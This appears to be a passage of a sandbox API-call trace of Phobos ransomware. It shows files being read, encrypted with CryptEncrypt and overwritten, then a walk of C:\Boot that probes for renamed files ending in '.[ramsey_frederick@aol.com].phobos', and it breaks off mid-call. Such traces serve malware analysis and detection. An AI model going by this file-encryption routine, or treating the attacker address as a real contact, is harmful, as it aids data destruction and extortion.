ReadFile (in: hFile=0x330, lpBuffer=0x3a9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a9d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0054.729] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc84 | out: phKey=0x366fc84*=0x10dc950) returned 1 [0054.729] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0054.730] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0080) returned 1 [0054.731] CryptDestroyKey (hKey=0x10dc950) returned 1 [0054.731] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc60 | out: lpNewFilePointer=0x0) returned 1 [0054.731] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x366fc70, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc70*=0xc0132, lpOverlapped=0x0) returned 1 [0054.742] SetEndOfFile (hFile=0x330) returned 1 [0054.742] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0054.743] WriteFile (in: hFile=0x330, lpBuffer=0x3add16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add16a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0054.744] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0054.744] WriteFile (in: hFile=0x330, lpBuffer=0x3add16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add16a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0054.746] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0054.746] WriteFile (in: hFile=0x330, lpBuffer=0x3add16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add16a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0054.747] CloseHandle (hObject=0x330) returned 1 [0056.234] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.234] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.235] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.235] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.235] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=0) returned 1 [0056.235] CloseHandle (hObject=0x334) returned 1 [0056.235] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.235] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.235] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=0) returned 1 [0056.235] CloseHandle (hObject=0x334) returned 1 [0056.236] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.236] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.236] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=77664) returned 1 [0056.236] CloseHandle (hObject=0x330) returned 1 [0056.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0056.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.236] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.237] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.237] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.242] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=95648) returned 1 [0056.242] CloseHandle (hObject=0x330) returned 1 [0056.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0056.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.243] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.243] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=99744) returned 1 [0056.243] CloseHandle (hObject=0x330) returned 1 [0056.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0056.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.243] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.243] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=76632) returned 1 [0056.243] CloseHandle (hObject=0x330) returned 1 [0056.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0056.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.244] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.244] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=45472) returned 1 [0056.244] CloseHandle (hObject=0x330) returned 1 [0056.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0056.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.244] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.244] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=75616) returned 1 [0056.244] CloseHandle (hObject=0x330) returned 1 [0056.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0056.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.245] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.245] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=45472) returned 1 [0056.245] CloseHandle (hObject=0x330) returned 1 [0056.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0056.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.245] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.245] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=79200) returned 1 [0056.245] CloseHandle (hObject=0x330) returned 1 [0056.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0056.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.246] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.246] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=45984) returned 1 [0056.246] CloseHandle (hObject=0x330) returned 1 [0056.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0056.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.246] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.246] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=80224) returned 1 [0056.246] CloseHandle (hObject=0x330) returned 1 [0056.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0056.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.247] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.247] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.247] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.247] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=46496) returned 1 [0056.247] CloseHandle (hObject=0x330) returned 1 [0056.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0056.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.247] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.247] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.247] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.247] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=74072) returned 1 [0056.247] CloseHandle (hObject=0x330) returned 1 [0056.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0056.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.248] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.248] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=74144) returned 1 [0056.248] CloseHandle (hObject=0x330) returned 1 [0056.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0056.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.248] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.248] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=44960) returned 1 [0056.248] CloseHandle (hObject=0x330) returned 1 [0056.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0056.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.249] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.249] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=77664) returned 1 [0056.249] CloseHandle (hObject=0x330) returned 1 [0056.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0056.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.249] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.249] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=45984) returned 1 [0056.249] CloseHandle (hObject=0x330) returned 1 [0056.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0056.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.250] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.250] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.250] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=77664) returned 1 [0056.250] CloseHandle (hObject=0x330) returned 1 [0056.250] GetFileAttributesW 